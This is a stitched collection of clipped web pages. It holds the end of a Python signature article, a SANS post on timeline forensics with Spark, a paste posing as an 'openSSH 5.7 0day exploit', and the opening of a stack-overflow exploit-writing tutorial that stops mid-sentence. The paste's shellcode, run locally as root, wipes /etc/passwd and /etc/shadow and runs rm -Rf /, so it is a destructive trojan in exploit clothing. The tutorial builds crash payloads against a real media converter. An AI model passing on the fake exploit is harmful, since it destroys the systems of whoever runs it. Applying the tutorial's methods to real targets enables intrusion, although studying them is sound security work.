Knowing the public key, it is easy to verify a message. The plain text is sent
to the user along with the signature. The receiving side calculates the hash
value and then uses the public key verify\(\) method to validate its origin.

[code]

    >>> text = 'abcdefgh'
    >>> hash = MD5.new(text).digest()
    >>> public_key.verify(hash, signature)
    True
    
[/code]

That’s it for now. I hope you enjoyed the article. Please write a comment if
you have any feedback.

# SANS Digital Forensics and Incident Response Blog | Timeline analysis with Apache Spark and Python | SANS Institute
**Created:**| _9/21/2015 12:29:18 PM_  
---|---  
**Updated:**| _9/21/2015 12:29:18 PM_  
**Author:**| __  
**Tags:**| __  
  

# Timeline analysis with Apache Spark and Python

This blog post introduces a technique for timeline analysis that mixes a bit
of data science and domain-specific knowledge \(file-systems, DFIR\).

Analyzing CSV formatted timelines by loading them with Excel or any other
spreadsheet application can be inefficient, even impossible at times. It all
depends on the size of the timelines and how many different timelines or
systems we are analyzing.

Looking at timelines that are gigabytes in size or trying to correlate data
between 10 different system's timelines does not scale well with traditional
tools.

One way to approach this problem is to leverage some of the open source data
analysis tools that are available today. Apache Spark is a fast and general
engine for big data processing. PySpark is its Python API, which in
combination with Matplotlib, Pandas and NumPY, will allow you to drill down
and analyze large amounts of data using SQL-syntax statements. This can come
in handy for things like filtering, combining timelines and visualizing some
useful statistics.

These tools can be easily installed on your SANS DFIR Workstation, although if
you plan on analyzing a few TBs of data i would recommend setting up a Spark
cluster separately.

The reader is assumed to have a basic understanding of Python programming.

### Quick intro to Spark

This section is a quick introduction to PySpark and basic Spark concepts. For
further details please check the Spark documentation, it is well written and
fairly up to date. This section of the blog post does not intend to be a Spark
tutorial, I'll barely scratch the surface of what's possible with Spark.

From apache.spark.org: Apache Spark is a fast and general-purpose cluster
computing system. It provides high-level APIs in Java, Scala, Python and R,
and an optimized engine that supports general execution graphs. It also
supports a rich set of higher-level tools including Spark SQL for SQL and
structured data processing, MLlib for machine learning, GraphX for graph
processing, and Spark Streaming.

Spark's documentation site covers the basics and can get you up and running
with minimal effort. Best way to get started is to spin up an Amazon EMR
cluster, although that's not free. You can always spin up a few VMs in your
basement lab :\)

In the context of this DFIR exercise, we'll leverage Spark SQL and Spark's
DataFrame API. The DataFrame API is similar Python's Pandas. Essentially, it
allows you to accessany kind of data in a structured, columnar format. This is
easy to do when you are handling CSV files.

Folks over at Databricks have been kind enough to publish a Spark package that
can convert CSV files \(with headers\) into Spark DataFrames with one simple
Python line of code. Isn't that nice? Although, if you are brave enough, you
can do this yourself with Spark and some RDD transformations.

To summarize, you'll need the following apps/libraries on your DFIR
workstation:

  * Access to a Spark \(1.3+\) cluster
  * Spark-CSV package from Databricks
  * Python 2.6+
  * Pandas
  * NumPy

It should be noted that the Spark-CSV package needs to be built from source
\(Scala\) and for that there are a few other requirements that are out of the
scope of this blog post, as is setting up a Spark cluster.

### Analysis \(IPython notebook\)

Now, let's get on with the fun stuff\!

The following is an example of how these tools can be used to analyze a
Windows 7 system's timeline generated with log2timeline.

You can find the IPython Notebook over on one of my github repos

# Private Paste - Pastie

**Created:**| _5/15/2011 7:51:40 PM_  
---|---  
**Updated:**| _5/15/2011 7:54:48 PM_  
**Author:**| __  
**Tags:**| _LOLZ_  
  

As a side-note: if you read this, and you find it not-funny, you're lame.

[code]

      
    
    
[/code]

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    
[/code]

|

[code]

    /*
       openSSH 5.7 0day exploit
       Off by One error in auth2-pubkey.c
    Author: Chroniccommand
    Usage: ./exploit <host> <ip>
    greetz to _st4ck3d*, x3n0n, xin etc you know who you are ;)
     */
    #include <stdio.h>
    #include <netdb.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <arpa/inet.h>
    #include <sys/types.h>
    #include <sys/user.h>
    #include <sys/socket.h>
    #include <sys/mman.h>
    #include <netinet/in.h>
    #include <errno.h>
    
    void usage(char *argv[])
    {
    printf("Usage: %s <target> <port>\n", argv[0]);
    exit(1);
    }
    
    unsigned char shellcode[] = 
    "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
    "\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x39\x00\x00\x00\x65"
    "\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x73"
    "\x68\x61\x64\x6f\x77\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\x22"
    "\x20\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20"
    "\x3b\x20\x72\x6d\x20\x2d\x52\x66\x20\x2f\x00\x57\x53\x89\xe1"
    "\xcd\x80";
    
    int main(int argc, char *argv[])
    {
    int uid = getuid();
    int port = 22, sock;
    struct hostent *host;
    struct sockaddr_in addr;
    
    if(uid !=0)
    {
    fprintf(stderr, "[!!] Error: You must be root (needed for raw socket access)\n");
    exit(1);
    }
    if(uid == 0)
    {
    printf("[++] Starting exploit..\n");
    }
    if(argc != 3)
    usage(argv);
    
    char payload[1024];
    memcpy(payload, &shellcode, sizeof(shellcode));
    int status = connect(sock,(struct sockaddr*)&addr,sizeof(addr));
    
    if( status == 0) {
    fprintf(stderr, "[!!] Exploit failed\n");
    exit(1);
    }
    else 
    {
    printf("[++] Connected to victim, sending payload\n");
    send(sock, payload, sizeof(payload),0);
    mprotect( (void *) ( (int)( &shellcode)  & 0xfffff000 ), PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC );
    printf("[++] Waiting for connect-back, be patient...\n");
    (*(void(*)())shellcode)();
    }
    }
    
[/code]  
---|---  
  

# Exploit writing tutorial part 1 : Stack Based Overflows | Peter Van Eeckhoutte´s Blog
**Created:**| _12/28/2009 9:52:17 PM_  
---|---  
**Updated:**| _12/28/2009 9:52:58 PM_  
**Author:**| __  
**Tags:**| _Exploit Tutorials_  
  

# Peter Van Eeckhoutte´s Blog

  * 1 : Stack…  

## <img src='img/Temp2_2923.png' width='26' height='26' /> Exploit writing
tutorial part 1 : Stack Based Overflows

  

Last friday \(july 17th 2009\), somebody \(nick\)named ‘Crazy\_Hacker’ has
reported a vulnerability in Easy RM to MP3 Conversion Utility \(on XP SP2
En\), via packetstormsecurity.org. \(see
http://packetstormsecurity.org/0907-exploits/\). The vulnerability report
included a proof of concept exploit \(which, by the way, failed to work on my
MS Virtual PC based XP SP3 En\). Another exploit was released just a little
bit later.

Nice work. You can copy the PoC exploit code, run it, see that it doesn’t work
\(or if you are lucky, conclude that it works\), or… you can try to understand
the process of building the exploit so you can correct broken exploits, or
just build your own exploits from scratch.

\(By the way : unless you can disassemble, read and comprehend shellcode real
fast, I would never advise you to just take an exploit \(especially if it’s a
precompiled executable\) and run it. What if it’s just built to open a
backdoor on your own computer ?

The question is : How do exploit writers build their exploits ? What does the
process of going from detecting a possible issue to building an actual working
exploit look like ? How can you use vulnerability information to build your
own exploit ?

Ever since I’ve started this blog, writing a basic tutorial about writing
buffer overflows has been on my “to do” list… but I never really took the time
to do so \(or simply forgot about it\).

When I saw the vulnerability report today, and had a look at the exploit, I
figured this vulnerability report could acts as a perfect example to explain
the basics about writing exploits… It’s clean, simple and allows me to
demonstrate some of the techniques that are used to write working and stable
stack based buffer overflows.

So perhaps this is a good time… Despite the fact that the forementioned
vulnerability report already includes an exploit \(working or not\), I’ll
still use the vulnerability in “Easy RM to MP3 conversion utility” as an
example and we’ll go through the steps of building a working exploit, without
copying anything from the original exploit. We’ll just build it from scratch
\(and make it work on XP SP3 this time :\) \)

Before we continue, let me get one thing straight. This document is purely
intended for educational purposes. I do not want anyone to use this
information \(or any information on this blog\) to actually hack into
computers or do other illegal things. So I cannot be held responsible for the
acts of other people who took parts of this document for illegal purposes. If
you don’t agree, then you are not allowed to continue to access this website…
so leave this website immediately.

Anyways, that having said, the kind of information that you get from
vulnerability reports usually contains information on the basics of the
vulnerability. In this case, the vulnerability report states “Easy RM to MP3
Converter version 2.7.3.700 universal buffer overflow exploit that creates a
malicious .m3u file”. In other words, you can create a malicious .m3u file,
feed it into the utility and trigger the exploit. These reports may not be
very specific every time, but in most cases you can get an idea of how you can
simulate a crash or make the application behave weird. If not, then the
security researcher probably wanted to disclose his/her findings first to the
vendor, give them the opportunity to fix things… or just wants to keep the
intel for him/herself…

> **Before starting with the first part of \(hopefully\) a series of tutorials
> about exploit writing, allow me to mention that I have set up a discussion
> forum \(logged in members only\) where you can discuss exploit writing
> issues/post questions/tips &tricks… etc . You can access the forum at
> http://www.corelan.be:8800/index.php/forum/writing-exploits/**
### Verify the bug

First of all, let’s verify that the application does indeed crash when opening
a malformatted m3u file. \(or find yourself an application that crashes when
you feed specifically crafted data to it\).

Get yourself a copy of the vulnerable version of Easy RM to MP3 and install it
on a computer running Windows XP. The vulnerability report states that the
exploit works on XP SP2 \(English\), but I’ll use XP SP3 \(English\).

Local copy of the vulnerable application can be downloaded here :

> <img src='img/Temp2_2936.png' /> **Easy RM to MP3 Conversion Utility** \(2.8
> MiB, 179 downloads\)
<img src='img/Temp2_2925.png' width='407' height='172' alt='image' />

_Quick sidenote : you can find older versions of applications at_
_oldapps.com_ _and_ _oldversion.com_

We’ll use the following simple perl script to create a .m3u file that may help
us to discover more information about the vulnerability :

[code]

    my $file= "crash.m3u";my $junk= "\x41" x 10000;open($FILE,">$file");print $FILE "$junk";close($FILE);print "m3u File Created successfully\n";
[/code]

Run the perl script to create the m3u file. The fill will be filled with 10000
A’s \(\x41 is the hexadecimal representation of A\) and open this m3u file
with Easy RM to MP3…. The application throws an error, but it looks like the
error is handled correctly and the application does not crash. Modify the
script to write a file with 20000 A’s and try again. Same behaviour.
\(exception is handled correctly, so we still could not overwrite anything
usefull\). Now change the script to write 30000 A’s, create the m3u file and
open it in the utility.

Boom – application dies.

Ok, so the application crashes if we feed it a file that contains between
20000 and 30000 A’s. But what can we do with this ?

### Verify the bug – and see if it could be interesting

Obviously, not every application crash can lead to an exploitation. In many
cases, an application crash will not lead to exploitation… But sometimes it
does. With “exploitation”, I mean that you want the application to do
something it was not intended to do… such as running your own code. The
easiest way to make an application do something different is by controlling
its application flow \(and redirect it to somewhere else\). This can be done
by controlling the Instruction Pointer \(or Program Counter\), which is a CPU
register that contains a pointer to where the next instruction that needs to
be executed is located.

Suppose an application calls a function with a parameter. Before going to the
function, it saves the current location in the instruction pointer \(so it
knows where to return when the function completes\). If you can modify the
value in this pointer, and point it to a location in memory that contains your
own piece of code, then you can change the application flow and make it
execute something different \(other than returning back to the original
place\). The code that you want to be executed after controlling the flow is
often referred to as “shellcode”. So if we make the application run our
shellcode, we can call it a working exploit. In most cases, this pointer is
referenced by the term EIP. This register size is 4 bytes. So if you can
modify those 4 bytes, you own the application \(and the computer the
application runs on\)

### Before we proceed – some theory

Just a few terms that you will need :

Every Windows application uses parts of memory. The process memory contains 3
components :

  * code segment \(instructions that the processor executes. The EIP keeps track of the next instruction
  * data segment \(variables, dynamic buffers\)
  * stack segment \(used to pass data/arguments to functions, and is used as space for variables. The stack starts \(= the bottom of the stack\) from the very end of the virtual memory of a page and grows down. a PUSHL adds something to the top of the stack, POPL will remove one item \(4 bytes\) from the stack and puts it in a register.

If you want to access the stack memory directly, you can use ESP \(Stack
Pointer\), which points at the top \(so the lowest memory address\) of the
stack.

  * After a push, ESP will point to a lower memory address \(address is decremented with the size of the data that is pushed onto the stack, which is 4 bytes in case of addresses/pointers\). Decrements usually happen before the item is placed on the stack \(depending on the implementation… if ESP already points at the next free location in the stack, the decrement happens after placing data on the stack\)
  * After a POP, ESP points to a higher address \(address is incremented \(by 4 bytes in case of addresses/pointers\)\). Increments happen after an item is removed from the stack.

When a function/subroutine is entered, a stack frame is created. This frame
keeps the parameters of the parent procedure together and is used to pass
arguments to the subrouting. The current location of the stack can be accessed
via the stack pointer \(ESP\), the current base of the function is contained
in the base pointer \(EBP\) \(or frame pointer\).

The CPU’s general purpose registers \(Intel, x86\) are :

  * EAX : accumulator : used for performing calculations, and used to store return values from function calls. Basic operations such as add, subtract, compare use this general-purpose register
  * EBX : base \(does not have anything to do with base pointer\). It has no general purpose and can be used to store data.
  * ECX : counter : used for iterations. ECX counts downward.
  * EDX : data : this is an extension of the EAX register. It allows for more complex calculations \(multiply, divide\) by allowing extra data to be stored to facilitate those calculations.
  * ESP : stack pointer
  * EBP : base pointer
  * ESI : source index : holds location of input data
  * EDI : destination index : points to location of where result of data operation is stored
  * EIP : instruction pointer

The process memory map looks like this :

_\(bottom of memory\) – >__0×00000000_\(low addresses\)| .text
\(code\)\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_|  
---|---|---  
| .data\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_|  
| .bss\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_|  
| heap – malloc’ed data\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_|  
| …\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_|  
| v heap \(grows down\)_– UNUSED MEMORY –_ ^ stack \(grows
up\)\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_| top of the heaptop
of the stack  
| …\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_|  
| main\(\) local vars\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_|  
| argc\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_|  
| \*\*argv\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_|  
| \*\*envp\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_|  
| cmd line arguments\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_|  
_high addresses\(top of memory\) – >__\(0xFF000000\)_|  environment
vars\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_| bottom of the stack  
The text segment is readonly, as it only contains the application code. This
prevents people from modifying the application code. This memory segment has a
fixed size. The data and bss segments are used to store global and static
program variables. The data segment is used for initialized global variables,
strings, and other constants. The bss segment is used by the uninitialized
variables… The data and bss segments are writable and have a fixed size. The
heap segment is used for the rest of the program variables. It can grow larger
or smaller as desired. All of the memory in the heap is managed by allocator
\(and deallocator\) algorithms. A memory region is reserved by these algo’s.
The heap will grow downwards \(towards higher memory addresses\)

The stack is a data structure that works LIFO \(Last in first out\). The most
recent placed data \(PUSH\) is the first one that will be removed from the
stack again. \(POP\). The stack contains local variables, function calls and
other info that does not need to be stored for a larger amount of time. As
more data is added to the stack, it is added at an increasingly lower address
values.

Every time a function is called, the function parameters are pushed onto the
stack, as well as the saved values of registers \(EBP, EIP\). When a function
returns, the saved value of EIP is pop’ped off the stack again and placed back
in EIP, so the normal application flow can be resumed.

So, when function do\_something\(param1\) is called, the following things
happen :

  * push \*param1 \(push all parameters, backwards onto the stack\)
  * call the function do\_something. The following things now happen :
    * push EIP \(so we can return to the original location\)
    * the prolog is executed, which performs a push EBP. \(= save EBP on the stack\). This is required because we have to change EBP in order to reference values on the stack. This is done by putting ESP in EBP \(so EBP = top of the stack, so everything on the stack \(in the current application frame\) can then be referenced easily\)
  * finally, the local variables \(the actual array of data\) are pushed onto the stack. In our example, this is do\_something::buffer\[128\].

Then, when the function ends, the flow returns to the main function.

Memory map :

| .text\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
---|---  
| .data\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
| .bss\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
| \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
**_Top of stack. ESP points to begin of do\_something::buffer\[128\]_**|
do\_something::buffer\[128\]\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
| saved EBP\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
| saved EIP\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
| ptr to param1\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
| main\(\) local vars\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
**_Bottom of stack_**|  envp, argv,
etc\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
When you want to cause a buffer overflow, you need to overwrite the
do\_something::buffer space \(which is the actual parameter data, where ‘ptr
to param1’ points at\), the saved EBP and eventually the saved EIP values.
After overwriting buffer+EBP+EIP, the Stack pointer will point to a location
after the saved EIP. When our function do\_something returns, EIP gets popped
off the stack and contains a value that you have set during the buffer
overflow. \(EBP gets popped off the stack as well and also contains a value
that you have set yourself during the overwrite\). Long story short, by
controlling EIP, you basically change the return address that the function
will uses in order to “resume normal flow”. Of course, if you change this
return address, it’s not a “normal flow” anymore. If you can overwrite the
buffer, EBP, EIP and then put your own code in the area where “prt to param1”
resides \(=where ESP points at at the time of the overwrite\)… think about it.
After sending the buffer \(\[buffer\]\[EBP\]\[EIP\]\[your code\]\), ESP
will/should point at the beginning of \[your code\]. So if you can make EIP go
to your code, you’re in control.

In order to see the state of the stack \(and value of registers such as the
instruction pointer, stack pointer etc\), we need to hook up a debugger to the
application, so we can see what happens at the time the application runs \(and
especially when it dies\).

There are many debuggers available for this purpose. The two debuggers I use
most often are Windbg, OllyDbg, Immunity’s Debugger and PyDBG

Let’s use Windbg. Install Windbg \(Full install\) and register it as a “post-
mortem” debugger using “windbg -I”.

<img src='img/Temp2_2939.png' width='368' height='69' alt='image' />

<img src='img/Temp2_2934.png' width='392' height='172' alt='image' />

You can also disable the “xxxx has encountered a problem and needs to close”
popup by setting the following registry key :

HKLM\Software\Microsoft\Windows NT\CurrentVersion\AeDebug\Auto : set to 0

<img src='img/Temp2_2929.png' width='357' height='135' alt='image' />

In order to avoid Windbg complaining about Symbol files not found, create a
folder on your harddrive \(let’s say c:\windbgsymbols\). Then, in Windbg, go
to “File” – “Symbol File Path” and enter the following string :

> SRV\*C:\windbgsymbols\*http://msdl.microsoft.com/download/symbols
**\(do NOT put an empty line after this string \! make sure this string is the
only string in the symbol path field\)**

Ok, let’s get started.

Launch Easy RM to MP3, and then open the crash.m3u file again. The application
will crash again. If you have disabled the popups, windbg will kick in
automatically. If you get a popup, click the “debug” button and windbg will be
launched.

<img src='img/Temp2_2928.png' width='387' height='409' alt='image' />

We can see that the instruction pointer contains 41414141, which is the
hexidecimal representation for AAAA.

A quick note before proceeding : On intel x86, the addresses are stored
little-endian \(so backwards\). The AAAA you are seeing is in fact AAAA :-\)
\(or, if you have sent ABCD in your buffer, EIP would point at 44434241
\(DCBA\)

So it looks like part of our m3u file was read into the buffer and caused the
buffer to overflow. We have been able to overflow the buffer and write into
the instruction pointer. So we may be able to control the value of EIP. This
type of vulnerability is called “stack overflow” \(or “buffer overflow” or
BOF\).

Since our file does only contain A’s, we don’t know exactly how big our buffer
needs to be in order to write exactly into EIP. In other words, if we want to
be specific in overwriting EIP \(so we can feed it usable data and make it
jump to our evil code, we need to know the exact position in our
buffer/payload where we overwrite the return address \(which will become EIP
when the function returns\). This position is often referred to as the
“offset”.

### Determining the buffer size to write exactly into EIP

We know that EIP is located somewhere between 20000 and 30000 bytes from the
beginning of the buffer. Now, you could potentially overwrite all memory space
between 20000 and 30000 bytes with the address you want to overwrite EIP with.
This may work, but it looks much more nice if you can find the exact location
to perform the overwrite. In order to determine the exact offset of EIP in our
buffer, we need to do some additional work.

First, let’s try to narrow down the location by changing our perl script just
a little :

Let’s cut things in half. We’ll create a file that contains 25000 A’s and
another 5000 B’s. If EIP contains an 41414141 \(AAAA\), EIP sits between 20000
and 25000, and if EIP contains 42424242 \(BBBB\), EIP sits between 25000 and
30000.

[code]

    my $file= "crash25000.m3u";my $junk = "\x41" x 25000;my $junk2 = "\x42" x 5000;open($FILE,">$file");print $FILE $junk.$junk2;close($FILE);print "m3u File Created successfully\n";
[/code]

Create the file and open crash25000.m3u in Easy RM to MP3.

<img src='img/Temp2_2931.png' width='570' height='124' alt='image' />

OK, so eip contains 42424242 \(BBBB\), so we know EIP has an offset between
25000 and 30000. That also means that we should/may see the remaining B’s in
memory where ESP points at \(given that EIP was overwritten before the end of
the 30000 character buffer\)

[code]

    Buffer :                       [       5000 B's                   ][AAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBB][BBBB][BBBBBBBBB......]     25000 A's                        EIP  ESP points here
[/code]

dump the contents of ESP :

[code]

    0:000> d esp000ff730  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB000ff740  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB000ff750  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB000ff760  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB000ff770  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB000ff780  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB000ff790  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB000ff7a0  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB0:000> d000ff7b0  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB000ff7c0  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB000ff7d0  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB000ff7e0  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB000ff7f0  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB000ff800  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB000ff810  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB000ff820  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB0:000> d000ff830  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB000ff840  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB000ff850  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB000ff860  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB000ff870  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB000ff880  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB000ff890  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB000ff8a0  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
[/code]

That is great news. We have overwritten EIP with BBBB and we can also see our
buffer in ESP.

Before we can start tweaking the script, we need to find the exact location in
our buffer that overwrites EIP.

In order to find the exact location, we’ll use Metasploit.

Metasploit has a nice tool to assist us with calculating the offset. It will
generate a string that contains unique patterns. Using this pattern \(and the
value of EIP after using the pattern in our malicious .m3u file\), we can see
how big the buffer should be to write exactly into EIP.

Open the tools folder in the metasploit framework3 folder \(I’m using a linux
version of metasploit 3\). You should find a tool called pattern\_create.rb.
Create a pattern of 5000 characters and write it into a file

[code]

    root@bt:/pentest/exploits/framework3/tools# **./pattern_create.rb** Usage: pattern_create.rb length [set a] [set b] [set c]root@bt:/pentest/exploits/framework3/tools# **./pattern_create.rb 5000**
[/code]

Edit the perl script and replace the content of $junk2 with our 5000
characters.

[code]

    my $file= "crash25000.m3u";my $junk = "\x41" x 25000;my $junk2 = “put the 5000 characters here”open($FILE,">$file");print $FILE $junk.$junk2;close($FILE);print "m3u File Created successfully\n";
[/code]

Create the m3u file. open this file in Easy RM to MP3, wait until the
application dies again, and take note of the contents of EIP

<img src='img/Temp2_2924.png' width='677' height='154' alt='image' />

At this time, eip contains 0×356b4234 \(note : little endian : we have
overwritten EIP with 34 42 6b 35 = 4Bk5

Let’s use a second metasploit tool now, to calculate the exact length of the
buffer before writing into EIP, feed it with the value of EIP \(based on the
pattern file\) and length of the buffer :

[code]

    root@bt:/pentest/exploits/framework3/tools# ./pattern_offset.rb 0x356b4234 50001094root@bt:/pentest/exploits/framework3/tools#
[/code]

1094\. That’s the buffer length needed to overwrite EIP. So if you create a
file with 25000+1094 A’s, and then add 4 B’s \(42 42 42 42 in hex\) EIP should
contain 42 42 42 42. We also know that ESP points at data from our buffer, so
we’ll add some C’s after overwriting EIP.

Let’s try. Modify the perl script to create the new m3u file.

[code]

    my $file= "eipcrash.m3u";my $junk= "A" x 26094;my $eip = "BBBB";my $espdata = "C" x 1000;open($FILE,">$file");print $FILE $junk.$eip.$espdata;close($FILE);print "m3u File Created successfully\n";
[/code]

Create eipcrash.m3u, open it in Easy RM to MP3, observe the crash and look at
eip and the contents of the memory at ESP:

<img src='img/Temp2_2935.png' width='655' height='128' alt='image' />

[code]

    0:000> d esp000ff730  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC000ff740  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC000ff750  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC000ff760  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC000ff770  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC000ff780  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC000ff790  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC000ff7a0  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
[/code]

Excellent. EIP contains BBBB, which is exactly what we wanted. So now we
control EIP. On top of that, ESP points to our buffer \(C’s\)

> Note : the offset shown here is the result of the analysis on my own system.
> If you are trying to reproduce the exercises from this tutorial on your own
> system, odds are high that you will get a different offset address. So
> please don’t just take the offset value or copy the source code to your
> system, as the offset may be different \(depends on SP level, language, etc
> etc\)
Our exploit buffer so far looks like this :

Buffer | EBP | EIP | ESP points here|V  
---|---|---|---  
A \(x 26086\) | AAAA | BBBB | CCCCCCCCCCCCCCCCCCCCCCCC   
414141414141…41 | 41414141 | 42424242 |   
26086 bytes | 4 bytes | 4 bytes | 1000 bytes ?   
The stack now looks like this :

| **.** text\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_|  
---|---|---  
| .data\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_|  
| .bss\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_|  
|  |   
| **AAAAAAAAAAAAAAAAA****AAAAAAAAAAAAAAAAA**********… \(26097
A’s\)************\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_****|
**_Buffer_**** _do\_something::buffer\[128\]_****_**_\(now overwritten\)_**_**  
| **AAAA********\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_******|
**_saved EBP \(now overwritten\)_**  
| **BBBB********\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_******|
**_saved EIP_**** _\(now overwritten\)_**  
**_- >_****_ESP points here_**| **CCCCCCC**
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_| **_ptr to param1 \(now
overwritten\)_**  
| main\(\) local vars\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_|  
**_Bottom of stack_**|  envp, argv,
etc\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_|  
When the function returns \(RET\), BBBB is put in EIP \(epilogue POP\), so
flow attempts to return to address BBBB \(value of EIP\).

### Find memory space to host the shellcode

We control EIP. So we can point EIP to somewhere else, to a place that
contains our own code \(shellcode\). But where is this space, how can we put
our shellcode in that location and how can we make EIP jump to that location ?

In order to crash the application, we have written 26094 A’s into memory, we
have written a new value into the saved EIP field \(ret\), and we have written
a bunch of C’s.

When the application crashes, take a look at the registers and dump all of
